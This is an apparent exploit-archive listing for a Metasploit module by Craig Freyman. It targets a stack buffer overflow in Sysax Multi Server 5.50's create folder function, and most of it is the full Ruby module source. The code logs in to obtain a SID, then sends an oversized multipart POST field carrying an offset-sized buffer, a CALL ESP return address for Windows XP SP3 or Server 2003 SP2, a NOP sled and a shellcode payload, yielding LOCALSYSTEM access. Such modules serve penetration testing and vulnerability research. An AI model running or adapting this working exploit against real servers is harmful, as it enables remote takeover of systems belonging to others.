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Sysax Multi Server 5.50 Create Folder Buffer Overflow

Sysax Multi Server 5.50 Create Folder Buffer Overflow
Posted Jan 26, 2012
Authored by Craig Freyman | Site metasploit.com

This Metasploit module exploits a stack buffer overflow in the create folder function in Sysax Multi Server 5.50. This issue was fixed in 5.52. You must have valid credentials to trigger the vulnerability. Your credentials must also have the create folder permission and the HTTP option has to be enabled. This Metasploit module will log into the server, get your a SID token and then proceed to exploit the server. Successful exploits result in LOCALSYSTEM access. This exploit works on XP and 2003.

tags | exploit, web, overflow
MD5 | b7e1d50d58ac543b487151a13f38d70d

Sysax Multi Server 5.50 Create Folder Buffer Overflow

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##########################################################################################################
#Title: Sysax Multi Server 5.50 Create Folder Remote Code Exec BoF (MSF Module)
#Author: Craig Freyman (@cd1zz)
#Tested on: XP SP3 32bit and Server 2003 SP2 32bit(No DEP)
#Notes: My original exploit => http://www.exploit-db.com/exploits/18382/
#did not automate the SID gathering process, but this one does. Thanks to todb for the pointers.
##########################################################################################################

require 'msf/core'
require 'base64'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Sysax Multi Server 5.50 Create Folder BoF',
'Description' => %q{
This module exploits a stack buffer overflow in the create folder function
in Sysax Multi Server 5.50. This issue was fixed in 5.52.

You must have valid credentials to trigger the vulnerability. Your credentials
must also have the create folder permission and the HTTP option has to be enabled.
This module will log into the server, get your a SID token and then proceed to exploit
the server. Successful exploits result in LOCALSYSTEM access. This exploit works on
XP and 2003. My original exploit did not automate the SID gathering process.
},
'License' => MSF_LICENSE,
'Author' => 'Craig Freyman @cd1zz',
'Version' => '$Revision:$',
'References' =>
[
[ 'URL', 'http://www.exploit-db.com/exploits/18382/' ],
[ 'URL', 'http://www.pwnag3.com/2012/01/sysax-multi-server-550-exploit.html' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x2F",
},

'Targets' =>
[
[ 'Windows XP SP3',
{
'Ret' => 0x7C8369F0, #7C8369F0 CALL ESP kernel32.dll
'Offset' => 667
}
],
[ 'Windows Server 2003 SP2',
{
'Ret' => 0x77E5F2DF, #77E5F2DF CALL ESP kernel32.dll
'Offset' => 648
}
]
],
'Privileged' => false,
'DisclosureDate'=> 'January 15, 2012',
'DefaultTarget' => 0))

register_options(
[
OptString.new('URI', [false, "URI for Multi Server", '/']),
Opt::RPORT(80),
OptString.new('SysaxUSER', [ true, "Username" ]),
OptString.new('SysaxPASS', [ true, "Password" ])
], self.class)

end

def target_url
"http://#{rhost}:#{rport}#{datastore['URI']}"
end

def exploit

user = datastore['SysaxUSER']
pass = datastore['SysaxPASS']

#base64 encode the credentials
encodedcreds = Base64.encode64(user+"\x0a"+pass)
creds = "fd="+encodedcreds

connect

# Login to get SID value
print_status "Getting SID from #{target_url}"
res = send_request_raw({
'method'=> 'POST',
'uri' => "#{target_url}/scgi?sid=0&pid=dologin",
'data' => creds
},20)

#parse response for SID token
sid = res.body.match (/(sid=[A-Z0-9a-z]{40})/)
print_status "Your " + sid.to_s

buffer = rand_text(target['Offset'])
buffer << [target.ret].pack('V')
buffer << make_nops(50)
buffer << payload.encoded #max 1299 bytes

#pwnag3 post data
post_data = "scgi?"+sid.to_s+"&pid=mk_folder2_name1.htm HTTP/1.1\r\n"
post_data << "Content-Length: 171\r\n\r\n"
post_data << "-----------------------------1190753071675116720811342231\r\n"
post_data << "Content-Disposition: form-data; name=\"e2\"\r\n\r\n"
post_data << buffer+"\r\n"
post_data << "-----------------------------1190753071675116720811342231--\r\n\r\n"

referer = "http://"+datastore['RHOST'].to_s+"/scgi?"+sid.to_s+"&pid=mk_folder1_name1.htm"

send_request_raw({
'uri' => "/" + post_data,
'version' => '1.1',
'method' => 'POST',
'referer' => referer
})

handler
disconnect

end
end

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